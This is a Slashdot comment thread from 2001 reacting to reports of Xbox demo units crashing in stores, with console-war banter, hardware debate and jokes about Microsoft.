      As time goes by and my copy of rc pro/am gets even harder to get to play, the blowing on doesn't work anymore. The key is to get the hot moisture from your breath onto the connectors.

      Much like one fogs their glasses for cleaning, the cartridge must also be "fogged"

      Worked for me.

    2. Re:Have they tried... by JatTDB · · Score: 1

      Most likely the water vapor that condenses on the connector acts as a solvent and gets rid of some of the corrosion on the contacts. You'd probably do better to carefully clean the contacts (both on the cartridge and in the unit) with rubbing alcohol.

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    3. Re:Have they tried... by Polsar · · Score: 1

      Screw it...Drink the alcohol and download an emulator. If you can see this....your computer is fast enought to play NES games... and RAMPAGE rules.
      -Mike
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    4. Re:Have they tried... by greenfly · · Score: 2

      If it's not a matter of dust on the connectors, I found out back in my NES days that a lot of times the copper connectors inside the NES got bent further and further away from the catridges over time. I ended up taking apart the NES and bending back the copper connectors with a small screwdriver and had no more problems.

  28. PS2 killer? by blumpy · · Score: 1

    This topic has been done many times everywhere, but I figure i'd bring it up.... who think it's going to be the ps2 killer?

    Personally, i own a ps2 and i'm afraid. MS may bring out crappy products but historically their crappy products come with good brainwashing type of marketing that usually kills competition. I hope there will be an X-box emulator for my PS2 (unfortunately).

    1. Re:PS2 killer? by Anonymous Coward · · Score: 0

      oh no!!!! God forbid! What will we do? Sony will go under for sure!!!

      Life is to short to worry about shit like this...

    2. Re:PS2 killer? by amuro98 · · Score: 1

      I don't think XBox is a PS2 killer.

      * Many of the games for XBox are ports of games that existed on the PS1 or the PS2.

      * Many of the games for XBox will show up for the PS2.

      * XBox still has weak support from Japanese developers.

      While I'm not entirely convinced XBox will be an utter flop, I don't think it's going to be a big player. At least not this time around.

    3. Re:PS2 killer? by Anonymous Coward · · Score: 0

      Just look at PalmOS vs. Wince for some comfort. Microsoft doesn't completely dominate and destroy everything they touch.

      Although IMHO they're both screwed, GameCube is gonna 0wn.

    4. Re:PS2 killer? by iapetus · · Score: 3, Funny
      I hope there will be an X-box emulator for my PS2

      Don't hold your breath. Emulating newer, more expensive hardware on older systems? If that were true, I'd be emulating my current PIII system on an old 286 rather than wasting the money upgrading.

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    5. Re:PS2 killer? by Anonymous Coward · · Score: 0

      What's amusing is that people do tend to forget that neither Sony nor Microsoft are wholly involved in the console market. Sony is also one of the big bad megacorporations that has some interest in controlling how we interact with our movies and music (by way of the MPAA / RIAA)

      Neither company has my vote, honestly. Pass the porn, please.

    6. Re:PS2 killer? by zeno_2 · · Score: 1

      Hmm.. Emulating newer, more expensive hardware on older systems? Lets say I have a brand spankin new AMD Athlon XP 1800 machine, 1.5gigs of DDR ram, geforce 3 TI 500, id say my pc could run circles around any xbox.. What do you think is in an xbox, some alien technology or something? They are essentially using off the shelf parts to make this thing, and there are much faster "off the shelf parts" you can buy that are faster then the components in an xbox.

    7. Re:PS2 killer? by malfunct · · Score: 1
      It would help if you read the post instead of blowing hot air out your nether orifice.

      The post was saying that its doubtful that xbox will be emulated on PS2.

      If the PS2 were significantly faster or more efficient than the xbox then maybe it would happen, but since they are fairly equivalent from what I've seen emulation won't happen.

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    8. Re:PS2 killer? by Anonymous Coward · · Score: 0

      And what is your bandwidth to the video card? The XBox has a unified memory architecture, basically meaning it doesn't need an AGP bus. Do you have an nForce board, otherwise you cannot use the sound properly. I suspect that, even though the basic components are the same, putting them together properly is much harder that you would expect.

    9. Re:PS2 killer? by zeno_2 · · Score: 1

      Hmm i was fairly sure that we were talking about emulating the xbox on the pc, not the ps2...

    10. Re:PS2 killer? by Anonymous Coward · · Score: 0

      Marketing is definitely *NOT* the prime reason that microsoft has done so well. It's always been the fact that they are so good to programmers on their platform. This is also true for the XBox which is supposedly really easy to program on. That -if any- will make it the PS2 killer.

    11. Re:PS2 killer? by Anonymous Coward · · Score: 0

      I'm a gamer turned game developer; currently working on the Xbox and GC each day.

      Yes, the xbox seems to have the most raw power.

      If you're worried your old PS2 won't be the most powerful thing around this christmas, you're totally correct! The GC and Xbox are both clearly more powerful and are far easier to extract close to maximum performance from. With the PS2 you have many limiations for getting peak performance while the xbox and surprisingly the GC just work well all the time.

      Which console is going to have the most market share? the answer, IMHO ofcourse:
      Playstation2.

      The xbox has the most power, but has NO good developers with good track records. You'll get lousy games, but with antialiasing and 10% more polygons. If you want the best driving game you'll have to get Gran Tourismo 3. Yes, if it was an xbox game it'd have even more photo realistic graphics, but it is a PS2 game.

      If you buy an xbox you'll have a beta in a VHS world. Slightly better technology, but you can't use it for Metal Gear Solid 2, etc.

      Personally I'll have a GameCube, Dreamcast, Playstation2, PC, and Gamebody Advance. Maybe a couple years from now MS will buy Sega and in order to get Sega's games I'll need an xbox, but until then there is no reason to buy an xbox.

      If anything PS2 owners need to be frightened of the Game Cube. Its more powerful, MUCH easier to develop for, has Nintendo (Mario, Zelda, and Picachu are pretty significant) and its franchises, has just as much corporate power behind it as MS (to get the exclusive next gen Resident Evil, etc), and costs only $199! It will have significant market share, there is no question about that.

      If I could magically make any console "win" I'd choose the xbox because its got the coolest hardware, but the market just won't allow for that. Too many people are calling it the XFL-box.

    12. Re:PS2 killer? by unitron · · Score: 2
      "I hope there will be an X-box emulator for my PS2."

      "Hmm i was fairly sure that we were talking about emulating the xbox on the pc, not the ps2..."

      Unless he was talking about an old IBM PS/2, apparently the starter of the thread wasn't.

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  29. WHAT THE F@"#))"!!!!! by andres32a · · Score: 1

    "Out of five stores that have playable demos within a ten mile area, only two have working units," says the employee.

    Well... (sigh) Ah... (geez)

    "An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.

    Do i need to say anything??? @#"#"$@e$"!!!!!!!!!

  30. Its down to the hardware. by 91degrees · · Score: 1

    Unlike a console, the X-Box is a PC. It uses a PC processor, and a PC graphics chip. These are obviously considerably more advanced than anything in a console, and are therefore more likely to go wrong. Its one of the prices to pay for being on the bleeding edge.

    Fortunately there is a solution. Simply wait a few months. You will be able to download patches from the internet. The built in hard drive will allow these patches to work.

    The only reamining question is how long until we het Linux for it?

    1. Re:Its down to the hardware. by Glock27 · · Score: 1
      Unlike a console, the X-Box is a PC. It uses a PC processor, and a PC graphics chip. These are obviously considerably more advanced than anything in a console, and are therefore more likely to go wrong. Its one of the prices to pay for being on the bleeding edge.

      Horse-bleep. I'm typing at a PC right now, with an Athlon and a GeForce graphics card. It often has uptimes of weeks (voluntary reboots only), running RH 7.1 of course.

      Face it, Microsoft has brainwashed you into thinking crashes are inevitable... ;-)

      299,792,458 m/s...not just a good idea, its the law!

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    2. Re:Its down to the hardware. by EnglishTim · · Score: 3, Informative

      All consoles have a central processor, a graphics chip, some sound hardware and memory. Just because it's 80x86 rather than PowerPC/MIPS/SH4 doesn't make any difference.

      The big difference is that it's the only one using a stripped-down version of a PC operating system. Oh, and it has a hard drive.

      The main thing that makes PCs so vulnerable to crashes is the huge variation in hardware. XBox doesn't have this problem as all XBoxes (at the moment) are all the same.

    3. Re:Its down to the hardware. by andres32a · · Score: 1

      Sure... next thing MICROSOFT will make a pocket calculator with a very advanced "PC processor, and a PC graphics chip" that crashes every time you make a sum and YOU WILL BE ABLE TO BLAME IT ON THE HARDWARE!!!!!

    4. Re:Its down to the hardware. by theVicar · · Score: 1

      i wonder if the kiosks are really xbox devkits or other such slapped-together PCs running some kind of emulation.

      I like the PS2 HD setup better - the assumption is you're running it as a regular console with no HD so it will always work that way, but if you want to go against nature and run it as a computer with all the crashing you're sure to have, that's up to you. keep your computer out of my console?

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    5. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      Besides... dont all consoles have some kind of a PC processor and a PC graphics chip???

    6. Re:Its down to the hardware. by night_flyer · · Score: 3, Funny

      weeks huh?

      Im typing on a PC runnning windows 98SE that hasnt been rebooted in 2 months...

      I also run a BBS on windows 98SE that, with the exception of the voluntary reboots, hasnt crashed on me since I built it in May

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    7. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      first off, the xbox isn't particlularly advanced PC hardware. The chip is only a 700-800 Mhz PII. Only the nvidia graphics chip is really spiffy. Second, IT'S A FUCKING CONSOLE!! It should NEVER have to be patched. How many times have you patched your NES, or Dreamcast, or PS2?? NEVER!! And these were all bleeding edge when they cam out. This is yet another example of Microsoft being totally unable to ship a stable product. I hope it fucking fails miserably.

    8. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      > weeks huh? Im typing on a PC runnning windows 98SE that hasnt been rebooted in 2 months...

      I guess you missed the part about "voluntary reboots only".

    9. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      And unlike a console, it requires patching to work correctly.

      The advantage of a console is that you can plug it in and it always works, no lengthy, inconvenient downloads or patches required. If it's going to need frequent updating like a PC, then they should sell it as a PC.

    10. Re:Its down to the hardware. by phillymjs · · Score: 2

      Fortunately there is a solution. Simply wait a few months. You will be able to download patches from the internet. The built in hard drive will allow these patches to work.

      Whoo hoo, this is just what I've been waiting for to make my life complete! After a long day of work fixing Windows problems, I really want to come home to a video game console that has to have service packs downloaded and applied to it!

      Thanks, but I think I'll stick with my older systems that just work. I never got a GPF or segfault while playing a frantic game of Kaboom! on my 2600 or Super Mario Brothers on my NES.

    11. Re:Its down to the hardware. by night_flyer · · Score: 2

      It often has uptimes of weeks (voluntary reboots only)

      what this part?

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    12. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      >You will be able to download patches from the
      >internet. The built in hard drive will allow >these patches to work.

      FSCK A PATCH!!! I HAVE TO PATCH ENOUGH GOD DAMN MS CRAP ALREADY!!!! PATCH MY GAME BOX???? FSCK THAT I KEEP MY DC!!!

    13. Re:Its down to the hardware. by DrPascal · · Score: 1

      Interesting ...

      I've read that GetTickCount() in the Win32 API rolls over every 52 days. Have you noticed anything funny? I turn off my Win2K machine nightly, so I've never seen it.

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    14. Re:Its down to the hardware. by Cutriss · · Score: 1

      I also run a BBS on windows 98SE that, with the exception of the voluntary reboots, hasnt crashed on me since I built it in May

      Well, technically, all reboots are voluntary. As the operator of a BBS, I hesitate to say that if your box crashed, you'd just leave it there... :p

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    15. Re:Its down to the hardware. by donglekey · · Score: 1

      You are eighther an idiot, or the luckiest man on earth. Go buy a lottery ticket, jesus. I used to run 98 and it crashed about once a day. WinME was up to about 3 times a day when I wiped it clean, and Win2K is pretty satisfying, I only have to reboot it because of weird stuff about every 4 or 5 days. I still wouldn't use it as a server though.

    16. Re:Its down to the hardware. by Malc · · Score: 1

      Actually, according to MSDN, it's 49.7 days. Windows provides other higher-resolution timers too, if they're needed. In several years of Win32 programming, I've never needed that function.

    17. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      Yes, while perhaps the processors and graphics chips built for pcs have better statistics, they're run using PC drivers in the X-Box.
      If you look at processor speeds for a PS2, they're not that impressive, but the hardwired integration gets so much more out of them. That's why noone likes to program for it.
      To finish off... what's the max polygons for PS2? And what's the max for the latest Voodoo card?
      I rest my case

    18. Re:Its down to the hardware. by truthsearch · · Score: 2

      You may need another one of those voluntary reboots soon since you posted the link on /.

    19. Re:Its down to the hardware. by zeno_2 · · Score: 1

      Well technically no.. you can get reboots pretty easily when starting up games and you have 35 devices on irq9 =P

    20. Re:Its down to the hardware. by drinkypoo · · Score: 2
      ...with the exception of the voluntary reboots, hasnt crashed on me since I built it in May

      Are you saying that it crashes on you when you try to reboot it? I ran into that bug a lot in Win98SE, too.

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    21. Re:Its down to the hardware. by i_am_nitrogen · · Score: 1

      Everyone likes to program for the PS2. It's a MIPS R5900 CPU at 294MHz. MIPS is one of the easiest CPUs to program for in assembly language. You must be a Visual Basic script kiddie or something, because most real programmers I know (real meaning using a real language (C, or one of its many variants and cousins, or ASM) and a real OS (UNIX-style)) agree that MIPS is possibly the easiest ASM ever. What you don't understand is that processor speed (in clocks) is unimportant -- my dad (although somewhat computer illiterate) produces graphics for one of the local TV stations using SGI O2's with IRIX on them, and those CPUs are 180MHz. They kick the CRAP out of any Wintel box I've seen under 1GHz. They've been on pretty much 24/7 for the last year since they got their new system. MIPS CPUs are fast inside, the clock speed is (almost) meaningless.

    22. Re:Its down to the hardware. by i_am_nitrogen · · Score: 1

      Well, almost 2 months huh? Is that less than 52 days? Look forward to a crash right about.... NOW! Your time is about up. CODITO ERGO SUM

    23. Re:Its down to the hardware. by stew-a-cide · · Score: 0

      this is kind of pointless, but...

      My copy of Super Mario Brothers 3 crashed every time after you beat it (so you couldn't see the end of the story and the credits and stuff.. I never have). Lots of other NES games also crashed constiantly (Ninja Turtles comes very much to mind)... not to mention the fact that they wore out after a few years and you had to keep buying them (blowing would only work for so long)... still my all-time favorite console.

      Also, strangely enough, I've never had an NES game crash on me while emulating them on my Dreamcast (score one for Sega I guess :)

    24. Re:Its down to the hardware. by Anonymous Coward · · Score: 0

      >These are obviously considerably more advanced
      >than anything in a console

      You know... when one uses words like "obviously" one should generally be very careful one knows what one is talking about. Elsewise you end up looking rather ignorant.

      How exactly is an Intel Pentium III processor "considerably more advanced" than, for example, the PowerPC processor in the Nintendo Gamecube?

      Do you want me to talk about CISC vs. RISC? Which one of those is "more advanced"? Shall we talk about the beautiful little SH4 processor that was in the Sega Dreamcast? "Obviously" anyone who doesn't get a view of their own colon when opening their eyes would be a little more careful about making such silly claims.

      Graphics cards? The Gamecube graphics subsystem is basically an ATI Radeon... Why, guess what? Isn't that a hum-dinger that you'd find exactly the same graphics system in one of your "considerably more advanced" PCs?

      Please get someone to lend you a clue.

    25. Re:Its down to the hardware. by 91degrees · · Score: 1

      Do you want me to talk about CISC vs. RISC?

      I'll talk about it. RISC is a relitively recent idea. Older CISC processors had a lot of instructions so that the chip could do as much as possible in as few cycles as possible. Eventually, virtually all code was written using compilers, and it was decided that by rationalising the instruction set, much greater speeds could be obtained, and the chips could be made smaller and cheaper. Neither are more advanced as such, but RISC is a more recent concept.

      For legacy reasons, Intel kept with a CISC philosophy, as did all the x86 cloners. The AMD chip in the X-box is in fact a RISC core, with a translation unit stuck to the front. This makes it a much more complex chip than a normal RISC chip. Furthermore, it is neccesary to run an x86 at a much higher clock speed than a RISC chip to get similar performance. The optimisations needed to increase this speed are considerably more sophisticated than those in most RISC chips.

      Graphics cards? The Gamecube graphics subsystem is basically an ATI Radeon...

      Which is a good idea. Presumably this will be less trouble than the X-Box, which uses a brand new Riva graphics chip.

    26. Re:Its down to the hardware. by flegged · · Score: 1

      I think the only thing anyone uses the GetTickCount() function (at least the only one I've ever used), is to get a decent random seed. So it's a good thing that it counts quickly and rolls over frequently. But I don't think any app worth anything would use this function for anything critical (Except maybe IIS!).

      There are other, better ways of dealing ith time in the Win32 api. For example the DateTime ActiveX object, which provides all the functionality you'd need for dates and times.

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    27. Re:Its down to the hardware. by flegged · · Score: 1

      When you reboot, do you get a black screen, and then it goes the to POST?

      That's not a bug, it's a feature!

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  31. Microsoft should have blue screen on XBOX by Anonymous Coward · · Score: 0

    or Mircosoft should invent new signs to represent crash for XBOX? I think good example would be a Green X on the black Screen :P

  32. Hello, XBox customer support, can I have your CC# by Anonymous Coward · · Score: 1, Funny

    Soon after, a screen appeared that said the Xbox needed customer service repair. The screen provided a list of customer service phone numbers to contact.

    I wonder if they're charing $200 per incident?

  33. Few people are buying xbox anyway by LazyDawg · · Score: 2, Interesting

    Out of the 20 gamers I know, about 19 of them are unwilling to purchase XBox simply because of Microsoft's good name.

    While the OS on other game consoles ends up crashing occasionally too (in spite of the almost complete lack of a visible OS) they'd believe anything about the Microsoft one crashing anyway, without needing a demonstration.

    Its almost a shame these people don't take their expectations of one complex computer system and attach them to another, like, say, a desktop.

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    1. Re:Few people are buying xbox anyway by Anonymous Coward · · Score: 0

      Microsoft doesn't want to sell to your geek friends. They want to sell this to ever 13 year old boy in America! They don't give a shit if MS or Tyson Chicken makes it.

    2. Re:Few people are buying xbox anyway by Anonymous Coward · · Score: 0

      actually you can't preorder them anywhere anymore because the first wave is already sold out. just because your lewser friends aren't the demographic...

    3. Re:Few people are buying xbox anyway by schon · · Score: 1

      Its almost a shame these people don't take their expectations of one complex computer system and attach them to another, like, say, a desktop.

      I don't understand what you're advocating here - can you expand a bit? (I can't tell if you're saying that you wish more people would blame MS for their shoddy consumer-level OS, or if you're wishing that people would apply the "it's a computer, so it will crash" Windows mentality to the Xbox.)

      Something that occurred to me though, is that the #1 quoted reason that windows is unstable is that MS doesn't have any control over the hardware or (in many cases) device drivers. (The logic is that if a device driver crashes the OS, MS can't be blamed because they didn't write it.)

      Now that MS has complete control over the hardware, OS, and device drivers, what happens when the box crashes? Does the box come with an EULA containing the infamous "fitness for a particular purpose" clause?

      (And for those of you who are gonna say "but companyXXX made componentYYY", this doesn't matter - the box comes from MS - they are soley responsible for everything inside it.)

      MS is in completely uncharted terrain now - previously they've been able to hide behind EULA's and corporate marketing.. but now they have no safety line.

    4. Re:Few people are buying xbox anyway by unitron · · Score: 2

      I wish you'd said Purdue Chicken instead so I could have made a "Yellow Screen Of Death" joke.

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  34. Activation by nexex · · Score: 2, Funny

    Hmm, perhaps they have not completed the required product activation ala WinXP :)

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  35. DOA3 and ODDWORLD by clustersnarf · · Score: 1

    Oddworld 3, "Munch's Oddysee" is also only coming out for the X box. Thanks microsoft. Buy up the good game companies and FORCE THEIR HANDS in the gaming market. I refuse to buy an X box for ONE game. But Microsoft is BANKING on this.

    ...assholes...

    1. Re:DOA3 and ODDWORLD by jbrians · · Score: 1

      Xbox doesn't have an exclusive on DOA3; that studio is free to release the game on any console. They simply aren't working on a version yet for other consoles, because none of them have the necessary capabilities.
      I'm not sure about OddWorld, but I don't think MS owns that company either.
      MS does own bungie, and that has caused Halo PC version to get pushed back quite a bit, but it is supposedly still going to come out.
      -Brian

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  36. Re:FOAD by argonaut · · Score: 1

    You seem to be under the impression I had something to do with my own score. You may want to try therapy.

  37. so far . . . by hawk · · Score: 2, Funny
    >Out of five stores that have
    >layable demos within a ten mile area, only two have working units,"
    >ays one Babbage's employee." It's funny because it's Microsoft. Get
    >t? It's... oh never mind. Is DOA3 still planned as x-box only?


    so far, DOA3 is only available at 3 of the 5 stores in the local area. After an hour or two, though, it's likely that DOA4 will arrive, with DOA5 applying by the end of the day . . .


    :)


    hawk

    1. Re:so far . . . by necrognome · · Score: 1

      wrong. DOA3sp2 will come out first. :)

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  38. Bah to user opinion. by magnetHEAD · · Score: 2, Interesting

    Being a long time gamer and a fervent computer user, I came to a decision about a month and a half ago.
    I'm no longer going to use microsoft products in my home. My girlfriends computer is going to get a fresh install of Redhat in about two weeks and that should be the last of it.
    The only shortfall to the whole thing has been the lack of mmog's to play under linux. I figure this will take a little time, but it'll get there eventually (most likely in the form of a game / games that play on all platforms..)
    I went and bought a ps2 this summer, and some of the games coming out right now, Ico (SCEA) and Devil May Cry are absolutely stunning single player games. It will be interesting to see what happens when the net adapter and hard disk come out for the ps2, but in the meantime, based on principle I've made a few smaller decisions.
    I won't be installing explorer 6.x+ ever (even at work), and I won't be buying an Xbox. Some of the stuff that Microsoft is doing with their licensing practices, as well as the shoddy quality of all their products since they were born just don't warrant rewards.
    Then again, I'll most likely be one of those parents that spanks their kids as a disciplinary action as well, so maybe that just makes me a great big asshole.
    Nobody should be siding with microsoft in any of their endeavors, I wonder why nobody is standing up and saying anything like this, now that MS is reaching into the gaming arena.
    Still, it's rather humorous that some of the demo systems don't work, and people will still run out and buy them like lemmings.

    -mh

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    1. Re:Bah to user opinion. by mickeyreznor · · Score: 1

      "The only shortfall to the whole thing has been the lack of mmog's to play under linux."

      Two words: Neverwinter Nights

      It will be out end 2000/early 2001.

    2. Re:Bah to user opinion. by robi2106 · · Score: 1

      People are standing up and shouting . . . they just are either insensitive to the listeners and end upo offending them, thus making the M$ people look like saints . . . or they are preaching to the choir (aka /.). The trick is to find a new audience with very little pre conceived notions. This can be found in developing nations and in innercities. That is a market where a free OS that doesn't take the latest greatest hard ware to run would be usefull.

      robi

    3. Re:Bah to user opinion. by Anonymous Coward · · Score: 0

      You mean end 2001/early 2002 right?

    4. Re:Bah to user opinion. by MindStalker · · Score: 1

      You know that it is currently late 2001? right??
      Just checking.

    5. Re:Bah to user opinion. by Jaysyn · · Score: 1

      That would mean it was already out....try..

      end 2001/early 2002

      if the publishers don't sue themselves silly in the meantime....

      Jaysyn

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    6. Re:Bah to user opinion. by aronc · · Score: 1

      As much as I hate MS, I won't allow who foots to bill to decide what games I play.

      Oh, and btw, american citizens have lost far more rights & liberties to Sony and it's friends (RIAA and MPAA) than we ever have to MS.

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  39. Heat is the likely culprit by Junks+Jerzey · · Score: 5, Informative

    Newer game consoles are shipping with heatsinks and fans, items which weren't needed in previous generations of game systems. What's scary is that this is even though Sega and Sony have intentionally done things to keep power consumption down, like using lower power CPUs like the SH4 and MIPS and keeping the amount of memory reasonable.

    Microsoft is putting in a hot running CPU that was never designed for embedded systems use and twice the memory of the PS2. Sure, that makes it more powerful in a way, but it also may be over the line in terms of what you can do inside of a sealed consumer box. Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.

    1. Re:Heat is the likely culprit by Anonymous Coward · · Score: 0

      > Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.

      ...although to Wintel, those priorities are reversed, hence the X-Box's problems.

    2. Re:Heat is the likely culprit by Slak · · Score: 2, Redundant

      But Microsoft's mantra is: "If it's broken, then make them buy another".

      Regards,
      Slak

    3. Re:Heat is the likely culprit by __aawwih8715 · · Score: 1


      This is why nintendo got ibm to make them an embeddable powerpc. It is very small, inexpensive to manufacture, and runs cool.

    4. Re:Heat is the likely culprit by Anonymous Coward · · Score: 0

      'that makes it more powerful in a way'

      How is this considered more powerful? What they added is nothing more then the basic requirements for a windows os.

    5. Re:Heat is the likely culprit by Mekanix · · Score: 2, Funny

      nono... they'd start blaming the user for not applying the hourly patch, lobbying to make it illegal to share how to prevent triggering those bugs and lastly demand that any X-box producers be called terrorists....

    6. Re:Heat is the likely culprit by LordKronos · · Score: 1

      And if it is a heat problem, dont most stores keep playables systems locked up in some kind of plixglass case or something? I would be inclined to ask whether or not they have any/adequate ventilation in these display cases.

    7. Re:Heat is the likely culprit by Steveftoth · · Score: 1

      Actually, that's Sony's mantra. The PS1 has a way of not working after about a year or so im many (not all) cases. Mine only works correctly when it's on it's side, for about 2 years now. Maybe I shouldn't to have chipped it..

    8. Re:Heat is the likely culprit by zeno_2 · · Score: 1

      I heard that gecko (i think its called gecko) is tiny too, saw a pic of it, might have only been the actual cpu core with no chip and pins and stuff on it, but it was smaller then a quarter as far as I remember, but very fast.

    9. Re:Heat is the likely culprit by hoggoth · · Score: 1

      "Ok Maam, here is your X-Box. Your kids are gonna love it! Before I ring this up, would you like to buy any of these accessories? We have this killer game controller, this broadband access module, and oh this liquid cooling system!"

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      - For the complete works of Shakespeare: cat /dev/random (may take some time)
    10. Re:Heat is the likely culprit by malfunct · · Score: 1

      I am sure that the XBox is running the laptop version of the pIII. Though this is still quite warm (I've burned my legs with dell laptops before yikes) its not nearly the monster that the desktop version of the chip is.

      --

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    11. Re:Heat is the likely culprit by __aawwih8715 · · Score: 1


      gecko == the chip nintendo is using that ibm made for them.

      We're talking about one in the same. Its very very small. More like a dime or smaller. It's made in vermont.

      Yea.

    12. Re:Heat is the likely culprit by child_of_mercy · · Score: 2

      The display cases are sent out by the promoter in my experience.

      It's their responsibility to make sure it works, nothing's stopping them packing the X-box into a cooling unit inside the demonstration case.

      I'm guessing from what I've heard that the maketroids and bean-counters have taken this out of the hands of the developers too early.

      --
      'There is a Light that never goes out.'
    13. Re:Heat is the likely culprit by LordKronos · · Score: 1

      In most of the stores near me, most consoles are placed on display in the same style box/display case that is used for any system regardless if its Nintendo, Sony, or Sega. I havent actually seen an XBox on display, so I cant say about those but I expect the store would do the same as before.

    14. Re:Heat is the likely culprit by child_of_mercy · · Score: 2

      silly of both of us to be debating what we haven't seen,

      but the story seemed to be desribing promotional displays, not retail displays.

      promotion displays are very tightly controlled by the promoter

      retail displays are owned by the store and all go in the same box.

      --
      'There is a Light that never goes out.'
  40. This is News? by Anonymous Coward · · Score: 0

    A Microsoft product that doesn't work-- Stop the presses! Besides, half the time I'm at Walmart their Playstation / Dreamcast / GameBoy Advance isn't working either. Gross bias is distasteful even to some of those of like view, so stop.

  41. ad campain for xbox by pecka · · Score: 1

    there is a rumor that the main driving force behind xbox ad campain will be the song I Will Crash On You

  42. I gotta ask by __aawwih8715 · · Score: 1


    Did it give a big BSOD? Or did it just lock up?

    Think of everyone oogling the fancy graphics and a nice bluescreen comes up, and everybody thinks its a joke, but it isn't.

    This brings me to an unrelated point. Nintendo actually spent money on me. They sent me promotional material. It was an envelope shaped like a gamecube with a minicd in it that was basically a big web page. It included info about their upcoming games as well as wallpapers and videos. Pretty neat.

    Well, .

    Mike

  43. Translations... by cirby · · Score: 1

    In MSoftian:
    "R&D" means "we just saw someone else demoing something neat."
    "Alpha" means "here's the Director mockup running on a Mac."
    "Beta" means "well, we got it working, sorta."
    "Golden Master" means "hey, it runs, if we leave out some features."
    "Release" means "ready for the newest Nimda variant to run on it!"

    1. Re:Translations... by Anonymous Coward · · Score: 0

      In Linux-speak:

      'R&D' means it's something that was in Unix in 1989.
      'Alpha' means it's something Linus doesn't like so it won't make it into the tarball.
      'Beta' means Linus thought it was cool so it made it into an 'odd' number kernel source tarball.
      'Gold Master' means Red Hat has pressed 100,000 CDs with yet another handful of exploits that have already been posted on Usenet.
      'Release' means hell has frozen over, and the flying pigs also have ice skates.

  44. Crashes at the Microsoft Store by Animats · · Score: 3, Informative
    The last time I was in Microsoft's retail outlet at the Sony Metreon in SF, two of the six game stations (Win2K PCs, not XBox) had crashed.

    Over at the Sony Playstation store, everything works all the time. (Most of the PS2 games suck, but that's a separate problem.)

    The XBox runs a cut-down version of Win2K, which supports one multi-threaded application at a time, running in kernel mode. It may have been a mistake, to use the architecture of a desktop OS without the protection.

    1. Re:Crashes at the Microsoft Store by expunged · · Score: 1

      I had the same experience at the Metreon when we were in the area for LinuxWorld. Several of the little gaming seats were crashed, frozen, or just not working (no joystick control even though the OS said it was there, things like that).

      I also couldn't stand the scary breathing down your neck salespeople, but that's sort of OT.

      I think MS is going to learn their lesson with the Xbox... you can't take design "risks" (or not think critically about your design) with hardware-based systems.

    2. Re:Crashes at the Microsoft Store by FatAssBastard · · Score: 1

      Most of the PS2 games suck...

      I'm not Trollin' you, dude, but are you serious? What games are you talking about?

      I've played NBA Live 2001, Triple Play 2001, SSX, Gran Turismo 3 and Street Hoops and they all rock! If I ever get around to buying a console, it will definitely be a PS2.

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    3. Re:Crashes at the Microsoft Store by Anonymous Coward · · Score: 0

      Translation:

      "I've played sport with a ball, sport with a ball, sport with a board, sport with a motor and another sport with a ball, and they all rock!"

      You see what I'm getting at here?

    4. Re:Crashes at the Microsoft Store by Pope+Slackman · · Score: 2

      I've played NBA Live 2001, Triple Play 2001, SSX, Gran Turismo 3 and Street Hoops and they all rock!

      Sounds good, if you like sports games. Personally, I hate 'em.

      I'm buying a Game Cube.

      C-X C-S

    5. Re:Crashes at the Microsoft Store by ivan256 · · Score: 2

      Ico, Onimusha, Dark Cloud, Dynasty Warriors 2, Klonoa 2, Red Faction, Gauntlet: Dark Legacy, Guilty Gear X, soon to be MGS2, and Final Fantasy X... There are way more too... Sounds like someone is assuming that there are no good games and not bothering to look.

    6. Re:Crashes at the Microsoft Store by Pope+Slackman · · Score: 2

      I never said there weren't any good games for the
      PS2, I just pointed out all the games the poster mentioned were sports games, which I dislike.

      The PS2 does have some good games, but I'm still buying a Cube.

      C-X C-S

    7. Re:Crashes at the Microsoft Store by FatAssBastard · · Score: 1

      You see what I'm getting at here?

      Sure, but my point was that those games are all great. Maybe he doesn't like the same genre that I do, but he only said "Most PS2 games suck".

      I've never played a PS2 game that has sucked, and I was curious what games he was talking about.

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      /.: why the hell am I here?
    8. Re:Crashes at the Microsoft Store by Anonymous Coward · · Score: 0

      If what you say is true about the single application running in kernel mode, it will be interesting to see what happens when people plug these into the 'net for some mmorpgs. Sounds like a hacker's dream to me.

  45. Taste of things to come. by Anonymous Coward · · Score: 0

    >The Xbox demo unit at a nearby Toys R Us store
    >could not give consumers a taste of the new
    >Microsoft console because of severe loading
    >problems.

    Umm, consumers did get a taste of the new console. Anyone who buys it is a fool when they see it crashed in the kiosk.

  46. Re:FOAD by amuro98 · · Score: 1

    Hey, watch it!

    I know you didn't have anything to do with your score. The question was to the moderators - not the poster (you.)

  47. Hmmm.... by FatRatBastard · · Score: 2

    Maybe the X in X box really stands for MSX.

    I have a feeling (due to the economy, et al) that MS may be looking at MSX part deux, except this time they're on the hook for the hardware as well. Even if the X-box is successful its gonna hit MS's bottom line for a year or so (to the tune of a billion or so). Add "reliability" problems to it and you can kiss it goodbye.

    I wonder if after the christmas season it is not living up to expectation how long until MS kill it. It ain't cheap (subsidising each machine.. ask Sega), and the stench of death over a console machine is damn near impossible to overcome (even if you iron out bugs in the next batch of machines). Its not like its software and you can issue patches owners can download.

    *IF* (and its a big if) this is a sign of things to come for the X-box (and I'll give MS the benifit of the doubt and say it isn't) could cost a LOT of money.

    1. Re:Hmmm.... by Anonymous Coward · · Score: 0

      > Its not like its software and you can issue patches owners can download.

      Uh, why can't they? It's got a decently large hard drive to store them on and both internet and CD support to distribute them. I'd be surprised if MS didn't try to patch away some of the screwups they seem to be having.

    2. Re:Hmmm.... by FatRatBastard · · Score: 2

      Downloading via the built in modem, maybe, but that'll be considered a HUGE inconvience for a game console. Rememember, this isn't a computer (so say MS) but a game console. Plus, this doesn't sound like totally a software issue (since you could have an updated version of the OS on every game you release). This sounds like more of a hardware/heat issue. And a fix for that you can't download.

    3. Re:Hmmm.... by Jarnis · · Score: 1
